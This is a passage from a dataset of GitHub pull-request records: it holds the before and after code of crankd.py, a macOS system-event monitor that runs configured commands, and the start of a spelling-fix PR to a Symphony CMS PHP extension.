{'CRANKD_CONTEXT': context}\n\n    # We'll pull a subset of the available information in for shell scripts.\n    # Anyone who needs more will probably want to write a Python handler\n    # instead so they can reuse things like our logger & config info and avoid\n    # ordeals like associative arrays in Bash\n    for k in [ 'info', 'key' ]:\n        if k in kwargs and kwargs[k]:\n            child_env['CRANKD_%s' % k.upper()] = str(kwargs[k])\n\n    user_info = kwargs.get(\"user_info\")\n    if user_info:\n        for k, v in user_info.items():\n            child_env[create_env_name(k)] = str(v)\n\n    try:\n        rc = call(command, shell=True, env=child_env)\n        if rc == 0:\n            logging.debug(\"`%s` returned %d\" % (command, rc))\n        elif rc < 0:\n            logging.error(\"`%s` was terminated by signal %d\" % (command, -rc))\n        else:\n            logging.error(\"`%s` returned %d\" % (command, rc))\n    except OSError, exc:\n        logging.error(\"Got an exception when executing %s:\" % (command, exc))\n\n\ndef add_conditional_restart(file_name, reason):\n    \"\"\"FSEvents monitors directories, not files. This function uses stat to\n    restart only if the file's mtime has changed\"\"\"\n    file_name = os.path.realpath(file_name)\n    while not os.path.exists(file_name):\n        file_name = os.path.dirname(file_name)\n    orig_stat = os.stat(file_name).st_mtime\n\n    def cond_restart(*args, **kwargs):\n        try:\n            if os.stat(file_name).st_mtime != orig_stat:\n                restart(reason)\n        except (OSError, IOError, RuntimeError), exc:\n            restart(\"Exception while checking %s: %s\" % (file_name, exc))\n\n    add_fs_notification(file_name, cond_restart)\n\n\ndef restart(reason, *args, **kwargs):\n    \"\"\"Perform a complete restart of the current process using exec()\"\"\"\n    logging.info(\"Restarting: %s\" % reason)\n    os.execv(sys.argv[0], sys.argv)\n\nif __name__ == '__main__':\n    main()\n"}, "files_after": {"bin/crankd.py": "#!/usr/bin/python2.7\n# encoding: utf-8\n\n\"\"\"\nUsage: %prog\n\nMonitor system event notifications\n\nConfiguration:\n\nThe configuration file is divided into sections for each class of\nevents. Each section is a dictionary using the event condition as the\nkey (\"NSWorkspaceDidWakeNotification\", \"State:/Network/Global/IPv4\",\netc). Each event must have one of the following properties:\n\ncommand:      a shell command\nfunction:     the name of a python function\nclass:        the name of a python class which will be instantiated once\n              and have methods called as events occur.\nmethod:       (class, method) tuple\n\"\"\"\n\nfrom Cocoa import \\\n    CFAbsoluteTimeGetCurrent, \\\n    CFRunLoopAddSource, \\\n    CFRunLoopAddTimer, \\\n    CFRunLoopTimerCreate, \\\n    NSObject, \\\n    NSRunLoop, \\\n    NSWorkspace, \\\n    kCFRunLoopCommonModes\n\nfrom SystemConfiguration import \\\n    SCDynamicStoreCopyKeyList, \\\n    SCDynamicStoreCreate, \\\n    SCDynamicStoreCreateRunLoopSource, \\\n    SCDynamicStoreSetNotificationKeys\n\nfrom FSEvents import \\\n    FSEventStreamCreate, \\\n    FSEventStreamStart, \\\n    FSEventStreamScheduleWithRunLoop, \\\n    kFSEventStreamEventIdSinceNow, \\\n    kCFRunLoopDefaultMode, \\\n    kFSEventStreamEventFlagMustScanSubDirs, \\\n    kFSEventStreamEventFlagUserDropped, \\\n    kFSEventStreamEventFlagKernelDropped\n\nimport os\nimport os.path\nimport logging\nimport logging.handlers\nimport sys\nimport re\nfrom subprocess import call\nfrom optparse import OptionParser\nfrom plistlib import readPlist, writePlist\nfrom PyObjCTools import AppHelper\nfrom functools import partial\nimport signal\nfrom datetime import datetime\nfrom objc import super\n\n\nVERSION          = '$Revision: #4 $'\n\nHANDLER_OBJECTS  = dict()     # Events which have a \"class\" handler use an instantiated object; we want to load only one copy\nSC_HANDLERS      = dict()     # Callbacks indexed by SystemConfiguration keys\nFS_WATCHED_FILES = dict()     # Callbacks indexed by filesystem path\nWORKSPACE_HANDLERS = dict()   # handlers for workspace events\n\n\nclass BaseHandler(object):\n    # pylint: disable-msg=C0111,R0903\n    pass\n\nclass NotificationHandler(NSObject):\n    \"\"\"Simple base class for handling NSNotification events\"\"\"\n    # Method names and class structure are dictated by Cocoa & PyObjC, which\n    # is substantially different from PEP-8:\n    # pylint: disable-msg=C0103,W0232,R0903\n\n    def init(self):\n        \"\"\"NSObject-compatible initializer\"\"\"\n        self = super(NotificationHandler, self).init()\n        if self is None: return None\n        self.callable = self.not_implemented\n        return self # NOTE: Unlike Python, NSObject's init() must return self!\n\n    def not_implemented(self, *args, **kwargs):\n        \"\"\"A dummy function which exists only to catch configuration errors\"\"\"\n        # TODO: Is there a better way to report the caller's location?\n        import inspect\n        stack = inspect.stack()\n        my_name = stack[0][3]\n        caller  = stack[1][3]\n        raise NotImplementedError(\n            \"%s should have been overridden. Called by %s as: %s(%s)\" % (\n                my_name,\n                caller,\n                my_name,\n                \", \".join(map(repr, args) + [ \"%s=%s\" % (k, repr(v)) for k,v in kwargs.items() ])\n            )\n        )\n\n    def onNotification_(self, the_notification):\n        \"\"\"Pass an NSNotifications to our handler\"\"\"\n        if the_notification.userInfo:\n            user_info = the_notification.userInfo()\n        else:\n            user_info = None\n        self.callable(user_info=user_info) # pylint: disable-msg=E1101\n\n\ndef log_list(msg, items, level=logging.INFO):\n    \"\"\"\n    Record a a list of values with a message\n\n    This would ordinarily be a simple logging call but we want to keep the\n    length below the 1024-byte syslog() limitation and we'll format things\n    nicely by repeating our message with as many of the values as will fit.\n\n    Individual items longer than the maximum length will be truncated.\n    \"\"\"\n\n    max_len    = 1024 - len(msg % \"\")\n    cur_len    = 0\n    cur_items  = list()\n\n    while [ i[:max_len] for i in items]:\n        i = items.pop()\n        if cur_len + len(i) + 2 > max_len:\n            logging.info(msg % \", \".join(cur_items))\n            cur_len = 0\n            cur_items = list()\n\n        cur_items.append(i)\n        cur_len += len(i) + 2\n\n    logging.log(level, msg % \", \".join(cur_items))\n\ndef get_callable_for_event(name, event_config, context=None):\n    \"\"\"\n        Returns a callable object which can be used as a callback for any\n        event. The returned function has context information, logging, etc.\n        included so they do not need to be passed when the actual event\n        occurs.\n\n        NOTE: This function does not process \"class\" handlers - by design they\n        are passed to the system libraries which expect a delegate object with\n        various event handling methods\n    \"\"\"\n\n    kwargs = {\n        'context':  context,\n        'key':      name,\n        'config':   event_config,\n    }\n\n    if \"command\" in event_config:\n        f = partial(do_shell, event_config[\"command\"], **kwargs)\n    elif \"function\" in event_config:\n        f = partial(get_callable_from_string(event_config[\"function\"]), **kwargs)\n    elif \"method\" in event_config:\n        f = partial(getattr(get_handler_object(event_config['method'][0]), event_config['method'][1]), **kwargs)\n    else:\n        raise AttributeError(\"%s have a class, method, function or command\" % name)\n\n    return f\n\n\ndef get_mod_func(callback):\n    \"\"\"Convert a fully-qualified module.function name to (module, function) - stolen from Django\"\"\"\n    try:\n        dot = callback.rindex('.')\n    except ValueError:\n        return (callback, '')\n    return (callback[:dot], callback[dot+1:])\n\n\ndef get_callable_from_string(f_name):\n    \"\"\"Takes a string containing a function name (optionally module qualified) and returns a callable object\"\"\"\n    try:\n        mod_name, func_name = get_mod_func(f_name)\n        if mod_name == \"\" and func_name == \"\":\n            raise AttributeError(\"%s couldn't be converted to a module or function name\" % f_name)\n\n        module = __import__(mod_name)\n\n        if func_name == \"\":\n            func_name = mod_name # The common case is an eponymous class\n\n        return getattr(module, func_name)\n\n    except (ImportError, AttributeError), exc:\n        raise RuntimeError(\"Unable to create a callable object for '%s': %s\" % (f_name, exc))\n\n\ndef get_handler_object(class_name):\n    \"\"\"Return a single instance of the given class name, instantiating it if necessary\"\"\"\n\n    if class_name not in HANDLER_OBJECTS:\n        h_obj = get_callable_from_string(class_name)()\n        if isinstance(h_obj, BaseHandler):\n            pass # TODO: Do we even need BaseHandler any more?\n        HANDLER_OBJECTS[class_name] = h_obj\n\n    return HANDLER_OBJECTS[class_name]\n\n\ndef handle_sc_event(store, changed_keys, info):\n    \"\"\"Fire every event handler for one or more events\"\"\"\n    try:\n        for key in changed_keys:\n            SC_HANDLERS[key](key=key, info=info)\n    except KeyError:\n        # If there's no exact match, go through the list again assuming regex\n        for key in changed_keys:\n            for handler in SC_HANDLERS:\n                if re.match(handler, key):\n                    SC_HANDLERS[handler](key=key, info=info)\n\n\n\ndef list_events(option, opt_str, value, parser):\n    \"\"\"Displays the list of events which can be monitored on the current system\"\"\"\n\n    print 'On this system SystemConfiguration supports these events:'\n    for event in sorted(SCDynamicStoreCopyKeyList(get_sc_store(), '.*')):\n        print \"\\t\", event\n\n    print\n    print \"Standard NSWorkspace Notification messages:\\n\\t\",\n    print \"\\n\\t\".join('''\n        NSWorkspaceDidLaunchApplicationNotification\n        NSWorkspaceDidMountNotification\n        NSWorkspaceDidPerformFileOperationNotification\n        NSWorkspaceDidTerminateApplicationNotification\n        NSWorkspaceDidUnmountNotification\n        NSWorkspaceDidWakeNotification\n        NSWorkspaceSessionDidBecomeActiveNotification\n        NSWorkspaceSessionDidResignActiveNotification\n        NSWorkspaceWillLaunchApplicationNotification\n        NSWorkspaceWillPowerOffNotification\n        NSWorkspaceWillSleepNotification\n        NSWorkspaceWillUnmountNotification\n    '''.split())\n\n    sys.exit(0)\n\n\ndef process_commandline():\n    \"\"\"\n        Process command-line options\n        Load our preference file\n        Configure the module path to add Application Support directories\n    \"\"\"\n    parser          = OptionParser(__doc__.strip())\n    support_path    = '/Library/' if os.getuid() == 0 else os.path.expanduser('~/Library/')\n    preference_file = os.path.join(support_path, 'Preferences', 'com.googlecode.pymacadmin.crankd.plist')\n    module_path     = os.path.join(support_path, 'Application Support/crankd')\n\n    if os.path.exists(module_path):\n        sys.path.append(module_path)\n    else:\n        print >> sys.stderr, \"Module directory %s does not exist: Python handlers will need to use absolute pathnames\" % module_path\n\n    parser.add_option(\"-f\", \"--config\", dest=\"config_file\", help='Use an alternate config file instead of %default', default=preference_file)\n    parser.add_option(\"-l\", \"--list-events\", action=\"callback\", callback=list_events, help=\"List the events which can be monitored\")\n    parser.add_option(\"-d\", \"--debug\", action=\"count\", default=False, help=\"Log detailed progress information\")\n    (options, args) = parser.parse_args()\n\n    if len(args):\n        parser.error(\"Unknown command-line arguments: %s\" % args)\n\n    options.support_path = support_path\n    options.config_file = os.path.realpath(options.config_file)\n\n    # This is somewhat messy but we want to alter the command-line to use full\n    # file paths in case someone's code changes the current directory or the\n    sys.argv = [ os.path.realpath(sys.argv[0]), ]\n\n    if options.debug:\n        logging.getLogger().setLevel(logging.DEBUG)\n        sys.argv.append(\"--debug\")\n\n    if options.config_file:\n        sys.argv.append(\"--config\")\n        sys.argv.append(options.config_file)\n\n    return options\n\n\ndef load_config(options):\n    \"\"\"Load our configuration from plist or create a default file if none exists\"\"\"\n    if not os.path.exists(options.config_file):\n        logging.info(\"%s does not exist - initializing with an example configuration\" % CRANKD_OPTIONS.config_file)\n        print >>sys.stderr, 'Creating %s with default options for you to customize' % options.config_file\n        print >>sys.stderr, '%s --list-events will list the events you can monitor on this system' % sys.argv[0]\n        example_config = {\n            'SystemConfiguration': {\n                'State:/Network/Global/IPv4': {\n                    'command': '/bin/echo \"Global IPv4 config changed\"'\n                }\n            },\n            'NSWorkspace': {\n                'NSWorkspaceDidMountNotification': {\n                    'command': '/bin/echo \"A new volume was mounted!\"'\n                },\n                'NSWorkspaceDidWakeNotification': {\n                    'command': '/bin/echo \"The system woke from sleep!\"'\n                },\n                'NSWorkspaceWillSleepNotification': {\n                    'command': '/bin/echo \"The system is about to go to sleep!\"'\n                }\n            }\n        }\n        writePlist(example_config, options.config_file)\n        sys.exit(1)\n\n    logging.info(\"Loading configuration from %s\" % CRANKD_OPTIONS.config_file)\n\n    plist = readPlist(options.config_file)\n\n    if \"imports\" in plist:\n        for module in plist['imports']:\n            try:\n                __import__(module)\n            except ImportError, exc:\n                print >> sys.stderr, \"Unable to import %s: %s\" % (module, exc)\n                sys.exit(1)\n    return plist\n\n\ndef configure_logging():\n    \"\"\"Configures the logging module\"\"\"\n    logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s')\n\n    # Enable logging to syslog as well:\n    # Normally this would not be necessary but logging assumes syslog listens on\n    # localhost syslog/udp, which is disabled on 10.5 (rdar://5871746)\n    syslog = logging.handlers.SysLogHandler('/var/run/syslog')\n    syslog.setFormatter(logging.Formatter('%(pathname)s[%(process)d]:%(message)s'))\n    syslog.setLevel(logging.INFO)\n    logging.getLogger().addHandler(syslog)\n\n\ndef get_sc_store():\n    \"\"\"Returns an SCDynamicStore instance\"\"\"\n    return SCDynamicStoreCreate(None, \"crankd\", handle_sc_event, None)\n\n\ndef add_workspace_notifications(nsw_config):\n    # See http://developer.apple.com/documentation/Cocoa/Conceptual/Workspace/Workspace.html\n    notification_center = NSWorkspace.sharedWorkspace().notificationCenter()\n\n    for event in nsw_config:\n        event_config = nsw_config[event]\n\n        if \"class\" in event_config:\n            obj         = get_handler_object(event_config['class'])\n            objc_method = \"on%s:\" % event\n            py_method   = objc_method.replace(\":\", \"_\")\n            if not hasattr(obj, py_method) or not callable(getattr(obj, py_method)):\n                print  >> sys.stderr, \\\n                    \"NSWorkspace Notification %s: handler class %s must define a %s method\" % (event, event_config['class'], py_method)\n                sys.exit(1)\n\n            notification_center.addObserver_selector_name_object_(obj, objc_method, event, None)\n        else:\n            handler          = NotificationHandler.new()\n            handler.name     = \"NSWorkspace Notification %s\" % event\n            handler.callable = get_callable_for_event(event, event_config, context=handler.name)\n\n            assert(callable(handler.onNotification_))\n\n            notification_center.addObserver_selector_name_object_(handler, \"onNotification:\", event, None)\n            WORKSPACE_HANDLERS[event] = handler\n    log_list(\"Listening for these NSWorkspace notifications: %s\", nsw_config.keys())\n\n\ndef add_sc_notifications(sc_config):\n    \"\"\"\n    This uses the SystemConfiguration framework to get a SCDynamicStore session\n    and register for certain events. See the Apple SystemConfiguration\n    documentation for details:\n\n    <http://developer.apple.com/documentation/Networking/Reference/SysConfig/SCDynamicStore/CompositePage.html>\n\n    TN1145 may also be of interest:\n        <http://developer.apple.com/technotes/tn/tn1145.html>\n\n    Inspired by the PyObjC SystemConfiguration callback demos:\n    <https://svn.red-bean.com/pyobjc/trunk/pyobjc/pyobjc-framework-SystemConfiguration/Examples/CallbackDemo/>\n    \"\"\"\n\n    keys = sc_config.keys()\n\n    try:\n        for key in keys:\n            SC_HANDLERS[key] = get_callable_for_event(key, sc_config[key], context=\"SystemConfiguration: %s\" % key)\n    except AttributeError, exc:\n        print  >> sys.stderr, \"Error configuring SystemConfiguration events: %s\" % exc\n        sys.exit(1)\n\n    store = get_sc_store()\n\n    SCDynamicStoreSetNotificationKeys(store, None, keys)\n\n    # Get a CFRunLoopSource for our store session and add it to the application's runloop:\n    CFRunLoopAddSource(\n        NSRunLoop.currentRunLoop().getCFRunLoop(),\n        SCDynamicStoreCreateRunLoopSource(None, store, 0),\n        kCFRunLoopCommonModes\n    )\n\n    log_list(\"Listening for these SystemConfiguration events: %s\", keys)\n\n\ndef add_fs_notifications(fs_config):\n    for path in fs_config:\n        add_fs_notification(path, get_callable_for_event(path, fs_config[path], context=\"FSEvent: %s\" % path))\n\n\ndef add_fs_notification(f_path, callback):\n    \"\"\"Adds an FSEvent notification for the specified path\"\"\"\n    path = os.path.realpath(os.path.expanduser(f_path))\n    if not os.path.exists(path):\n        raise AttributeError(\"Cannot add an FSEvent notification: %s does not exist!\" % path)\n\n    if not os.path.isdir(path):\n        path = os.path.dirname(path)\n\n    try:\n        FS_WATCHED_FILES[path].append(callback)\n    except KeyError:\n        FS_WATCHED_FILES[path] = [callback]\n\n\ndef start_fs_events():\n    stream_ref = FSEventStreamCreate(\n        None,                               # Use the default CFAllocator\n        fsevent_callback,\n        None,                               # We don't need a FSEventStreamContext\n        FS_WATCHED_FILES.keys(),\n        kFSEventStreamEventIdSinceNow,      # We only want events which happen in the future\n        1.0,                                # Process events within 1 second\n        0                                   # We don't need any special flags for our stream\n    )\n\n    if not stream_ref:\n        raise RuntimeError(\"FSEventStreamCreate() failed!\")\n\n    FSEventStreamScheduleWithRunLoop(stream_ref, NSRunLoop.currentRunLoop().getCFRunLoop(), kCFRunLoopDefaultMode)\n\n    if not FSEventStreamStart(stream_ref):\n        raise RuntimeError(\"Unable to start FSEvent stream!\")\n\n    logging.debug(\"FSEventStream started for %d paths: %s\" % (len(FS_WATCHED_FILES), \", \".join(FS_WATCHED_FILES)))\n\n\ndef fsevent_callback(stream_ref, full_path, event_count, paths, masks, ids):\n    \"\"\"Process an FSEvent (consult the Cocoa docs) and call each of our handlers which monitors that path or a parent\"\"\"\n    for i in range(event_count):\n        path = os.path.dirname(paths[i])\n\n        if masks[i] & kFSEventStreamEventFlagMustScanSubDirs:\n            recursive = True\n\n        if masks[i] & kFSEventStreamEventFlagUserDropped:\n            logging.error(\"We were too slow processing FSEvents and some events were dropped\")\n            recursive = True\n\n        if masks[i] & kFSEventStreamEventFlagKernelDropped:\n            logging.error(\"The kernel was too slow processing FSEvents and some events were dropped!\")\n            recursive = True\n        else:\n            recursive = False\n\n        for i in [k for k in FS_WATCHED_FILES if path.startswith(k)]:\n            logging.debug(\"FSEvent: %s: processing %d callback(s) for path %s\" % (i, len(FS_WATCHED_FILES[i]), path))\n            for j in FS_WATCHED_FILES[i]:\n                j(i, path=path, recursive=recursive)\n\n\ndef timer_callback(*args):\n    \"\"\"Handles the timer events which we use simply to have the runloop run regularly. Currently this logs a timestamp for debugging purposes\"\"\"\n    logging.debug(\"timer callback at %s\" % datetime.now())\n\n\ndef main():\n    configure_logging()\n\n    global CRANKD_OPTIONS, CRANKD_CONFIG\n    CRANKD_OPTIONS = process_commandline()\n    CRANKD_CONFIG  = load_config(CRANKD_OPTIONS)\n\n    if \"NSWorkspace\" in CRANKD_CONFIG:\n        add_workspace_notifications(CRANKD_CONFIG['NSWorkspace'])\n\n    if \"SystemConfiguration\" in CRANKD_CONFIG:\n        add_sc_notifications(CRANKD_CONFIG['SystemConfiguration'])\n\n    if \"FSEvents\" in CRANKD_CONFIG:\n        add_fs_notifications(CRANKD_CONFIG['FSEvents'])\n\n    # We reuse our FSEvents code to watch for changes to our files and\n    # restart if any of our libraries have been updated:\n    add_conditional_restart(CRANKD_OPTIONS.config_file, \"Configuration file %s changed\" % CRANKD_OPTIONS.config_file)\n    for m in filter(lambda i: i and hasattr(i, '__file__'), sys.modules.values()):\n        if m.__name__ == \"__main__\":\n            msg = \"%s was updated\" % m.__file__\n        else:\n            msg = \"Module %s was updated\" % m.__name__\n\n        add_conditional_restart(m.__file__, msg)\n\n    signal.signal(signal.SIGHUP, partial(restart, \"SIGHUP received\"))\n\n    start_fs_events()\n\n    # NOTE: This timer is basically a kludge around the fact that we can't reliably get\n    #       signals or Control-C inside a runloop. This wakes us up often enough to\n    #       appear tolerably responsive:\n    CFRunLoopAddTimer(\n        NSRunLoop.currentRunLoop().getCFRunLoop(),\n        CFRunLoopTimerCreate(None, CFAbsoluteTimeGetCurrent(), 2.0, 0, 0, timer_callback, None),\n        kCFRunLoopCommonModes\n    )\n\n    try:\n        AppHelper.runConsoleEventLoop(installInterrupt=True)\n    except KeyboardInterrupt:\n        logging.info(\"KeyboardInterrupt received, exiting\")\n\n    sys.exit(0)\n\ndef create_env_name(name):\n    \"\"\"\n    Converts input names into more traditional shell environment name style\n\n    >>> create_env_name(\"NSApplicationBundleIdentifier\")\n    'NSAPPLICATION_BUNDLE_IDENTIFIER'\n    >>> create_env_name(\"NSApplicationBundleIdentifier-1234$foobar!\")\n    'NSAPPLICATION_BUNDLE_IDENTIFIER_1234_FOOBAR'\n    \"\"\"\n    new_name = re.sub(r'''(?<=[a-z])([A-Z])''', '_\\\\1', name)\n    new_name = re.sub(r'\\W+', '_', new_name)\n    new_name = re.sub(r'_{2,}', '_', new_name)\n    return new_name.upper().strip(\"_\")\n\ndef do_shell(command, context=None, **kwargs):\n    \"\"\"Executes a shell command with logging\"\"\"\n    logging.info(\"%s: executing %s\" % (context, command))\n\n    child_env = {'CRANKD_CONTEXT': context}\n\n    # We'll pull a subset of the available information in for shell scripts.\n    # Anyone who needs more will probably want to write a Python handler\n    # instead so they can reuse things like our logger & config info and avoid\n    # ordeals like associative arrays in Bash\n    for k in [ 'info', 'key' ]:\n        if k in kwargs and kwargs[k]:\n            child_env['CRANKD_%s' % k.upper()] = str(kwargs[k])\n\n    if 'user_info' in kwargs:\n        for k, v in kwargs['user_info'].items():\n            child_env[create_env_name(k)] = str(v)\n\n    try:\n        rc = call(command, shell=True, env=child_env)\n        if rc == 0:\n            logging.debug(\"`%s` returned %d\" % (command, rc))\n        elif rc < 0:\n            logging.error(\"`%s` was terminated by signal %d\" % (command, -rc))\n        else:\n            logging.error(\"`%s` returned %d\" % (command, rc))\n    except OSError, exc:\n        logging.error(\"Got an exception when executing %s:\" % (command, exc))\n\n\ndef add_conditional_restart(file_name, reason):\n    \"\"\"FSEvents monitors directories, not files. This function uses stat to\n    restart only if the file's mtime has changed\"\"\"\n    file_name = os.path.realpath(file_name)\n    while not os.path.exists(file_name):\n        file_name = os.path.dirname(file_name)\n    orig_stat = os.stat(file_name).st_mtime\n\n    def cond_restart(*args, **kwargs):\n        try:\n            if os.stat(file_name).st_mtime != orig_stat:\n                restart(reason)\n        except (OSError, IOError, RuntimeError), exc:\n            restart(\"Exception while checking %s: %s\" % (file_name, exc))\n\n    add_fs_notification(file_name, cond_restart)\n\n\ndef restart(reason, *args, **kwargs):\n    \"\"\"Perform a complete restart of the current process using exec()\"\"\"\n    logging.info(\"Restarting: %s\" % reason)\n    os.execv(sys.argv[0], sys.argv)\n\nif __name__ == '__main__':\n    main()\n"}}
{"repo": "creativedutchmen/Root-Page-Params", "pr_number": 1, "title": "lil spelling correction", "state": "closed", "merged_at": null, "additions": 1, "deletions": 1, "files_changed": ["extension.driver.php"], "files_before": {"extension.driver.php": "<?php\n\n\trequire_once(TOOLKIT . '/class.entrymanager.php');\n\t\n\t\n\tClass extension_root_page_params extends Extension{\n\t\n\t\tprotected $section_data;\n\t\tprotected $_page;\n\t\tprotected $static_section_name;\n\t\t\n\t\tstatic $alreadyRan = false;\n\t\t\n\t\tpublic function about(){\n\t\t\treturn array('name' => 'Root page params',\n\t\t\t\t\t\t 'version' => '1.2',\n\t\t\t\t\t\t 'release-date' => '2009-12-10',\n\t\t\t\t\t\t 'author' => array('name' => 'Huib Keemink',\n\t\t\t\t\t\t\t\t\t\t   'website' => 'http://www.creativedutchmen.com',\n\t\t\t\t\t\t\t\t\t\t   'email' => 'huib@creativedutchmen.com')\n\t\t\t\t \t\t);\n\t\t}\n\t\t\n\t\tpublic function getSubscribedDelegates(){\n\t\t\treturn array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'page' => '/frontend/',\n\t\t\t\t\t\t\t'delegate' => 'FrontendPrePageResolve',\n\t\t\t\t\t\t\t'callback' => 'addPage'\n\t\t\t\t\t\t),\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'page' => '/system/preferences/',\n\t\t\t\t\t\t\t'delegate' => 'AddCustomPreferenceFieldsets',\n\t\t\t\t\t\t\t'callback' => 'append_preferences'\n\t\t\t\t\t\t),\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'page' => '/system/preferences/',\n\t\t\t\t\t\t\t'delegate' => 'Save',\n\t\t\t\t\t\t\t'callback' => 'save_settings'\n\t\t\t\t\t\t),\n\t\t\t);\n\t\t}\n\t\t\n\t\tpublic function addPage(&$context){\n\t\t\n\t\t\t//to prevent the callback loop\n\t\t\tif(!$this->alreadyRan){\n\t\t\t\t$this->alreadyRan = true;\n\t\t\t\t//the only way to access the current (active) pages.\n\t\t\t\t$front = FrontEnd::Page();\n\t\t\t\t\n\t\t\t\tif(!$front->resolvePage($context['page'])){\n\t\t\t\t\t//uses home page if no page is set in the config panel.\n\t\t\t\t\tif($this->_get_fallback() == ''){\n\t\t\t\t\t\t$indexPage = $this->__getIndexPage();\n\t\t\t\t\t\t$indexHandle = $indexPage['handle'];\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\t$indexHandle = $this->_get_fallback();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t//adds the home page to the handle, if the current page is not found.\n\t\t\t\t\t//requires the home page to fallback to a 404 if the params do not match, otherwise no 404 error will ever be created.\n\t\t\t\t\t\n\t\t\t\t\t$params = $context['page'];\n\t\t\t\t\t\n\t\t\t\t\tif($this->_Parent->Configuration->get('map_sub_to_front', 'maptofront') == 'no'){\n\t\t\t\t\t\t$tmp = substr($indexHandle,0, strrpos($indexHandle, '/'));\n\t\t\t\t\t\tif(strlen($tmp) > 0){\n\t\t\t\t\t\t\t$params = substr($context['page'], strpos($context['page'], $tmp)+strlen($tmp));\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t$params = '';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$context['page'] = $indexHandle.$params;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\tpublic function append_preferences(&$context)\n\t\t{\n\t\t\t# Add new fieldset\n\t\t\t$group = new XMLElement('fieldset');\n\t\t\t$group->setAttribute('class', 'settings');\n\t\t\t$group->appendChild(new XMLElement('legend', 'Root Page Params'));\n\n\t\t\t# Add Site Reference field\n\t\t\t//$label = Widget::Label('Fallback page');\n\t\t\t//$label->appendChild(Widget::Input('settings[maptofront][fallback]', General::Sanitize($this->_get_fallback())));\n\t\t\t\n\t\t\t//try to add a select box for the page (more user friendly)\n\t\t\t$label = Widget::Label(__('Page to append parameters to'));\n\t\t\t\n\t\t\t$pages = $this->_Parent->Database->fetch(\"\n\t\t\t\tSELECT\n\t\t\t\t\tp.*\n\t\t\t\tFROM\n\t\t\t\t\t`tbl_pages` AS p\n\t\t\t\tWHERE\n\t\t\t\t\tp.id != '{mysql_real_escape_string($page_id)}'\n\t\t\t\tORDER BY\n\t\t\t\t\tp.title ASC\n\t\t\t\");\n\t\t\t\n\t\t\t$options = array(\n\t\t\t\tarray('', false, '')\n\t\t\t);\n\t\t\t\n\t\t\tif (is_array($pages) && !empty($pages)) {\n\t\t\t\tif (!function_exists('__compare_pages')) {\n\t\t\t\t\tfunction __compare_pages($a, $b) {\n\t\t\t\t\t\treturn strnatcasecmp($a[2], $b[2]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tforeach ($pages as $page) {\n\t\t\t\t\t$options[] = array(\n\t\t\t\t\t\t$this->_Parent->resolvePagePath($page['id']), $this->_Parent->Configuration->get('fallback', 'maptofront') == $this->_Parent->resolvePagePath($page['id']),\n\t\t\t\t\t\t'/'.$this->_Parent->resolvePagePath($page['id'])\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tusort($options, '__compare_pages');\n\t\t\t}\n\t\t\t\n\t\t\t$label->appendChild(Widget::Select(\n\t\t\t\t'settings[maptofront][fallback]', $options\n\t\t\t));\n\t\t\t\n\t\t\t$group->appendChild($label);\n\t\t\t$group->appendChild(new XMLElement('p', 'The page to append the parameters to. Leave empty for home (default).', array('class' => 'help')));\n\t\t\t\n\t\t\t$label = Widget::Label();\n\t\t\t$input = Widget::Input('settings[maptofront][map_sub_to_front]', 'yes', 'checkbox');\n\t\t\tif($this->_Parent->Configuration->get('map_sub_to_front', 'maptofront') == 'yes') $input->setAttribute('checked', 'checked');\n\t\t\t$label->setValue($input->generate() . ' ' . __('Map supages to home page'));\n\t\t\t\n\t\t\t$group->appendChild($label);\n\t\t\t$group->appendChild(new XMLElement('p', 'Maps subpages to the root page when checked, maps subpages to their parents if unchecked.', array('class' => 'help')));\n\t\t\t\n\t\t\t$context['wrapper']->appendChild($group);\n\t\t}\n\t\t\n\t\t//any way to get this without using the database?\n\t\tfunction __getIndexPage(){\n\t\t\t$row = $this->_Parent->Database->fetchRow(0, \"SELECT `tbl_pages`.* FROM `tbl_pages`, `tbl_pages_types` \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  WHERE `tbl_pages_types`.page_id = `tbl_pages`.id \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  AND tbl_pages_types.`type` = 'index' \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  LIMIT 1\");\n\t\t\treturn $row;\n\t\t}\n\t\t\n\t\tfunction _get_fallback(){\n\t\t\t$default_fallback = '';\n\t\t\t$val = $this->_Parent->Configuration->get('fallback', 'maptofront');\n\t\t\t\n\t\t\treturn (isset($val)) ? $val : $default_fallback;\n\t\t}\n\t\t\n\t\tfunction save_settings($context){\n\t\t\tif(!isset($context['settings']['maptofront']['map_sub_to_front'])) $context['settings']['maptofront']['map_sub_to_front'] = 'no';\n\t\t\t\n\t\t\tif(!isset($context['settings']['maptofront'])){\n\t\t\t\t$context['settings']['maptofront'] = array('map_sub_to_front' => 'no');\n\t\t\t}\n\t\t}\n\t}\n"}, "files_after": {"extension.driver.php": "<?php\n\n\trequire_once(TOOLKIT . '/class.entrymanager.php');\n\t\n\t\n\tClass extension_root_page_params extends Extension{\n\t\n\t\tprotected $section_data;\n\t\tprotected $_page;\n\t\tprotected $static_section_name;\n\t\t\n\t\tstatic $alreadyRan = false;\n\t\t\n\t\tpublic function about(){\n\t\t\treturn array('name' => 'Root page params',\n\t\t\t\t\t\t 'version' => '1.2',\n\t\t\t\t\t\t 'release-date' => '2009-12-10',\n\t\t\t\t\t\t 'author' => array('name' => 'Huib Keemink',\n\t\t\t\t\t\t\t\t\t\t   'website' => 'http://www.creativedutchmen.com',\n\t\t\t\t\t\t\t\t\t\t   'email' => 'huib@creativedutchmen.com')\n\t\t\t\t \t\t);\n\t\t}\n\t\t\n\t\tpublic function getSubscribedDelegates(){\n\t\t\treturn array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'page' => '/frontend/',\n\t\t\t\t\t\t\t'delegate' => 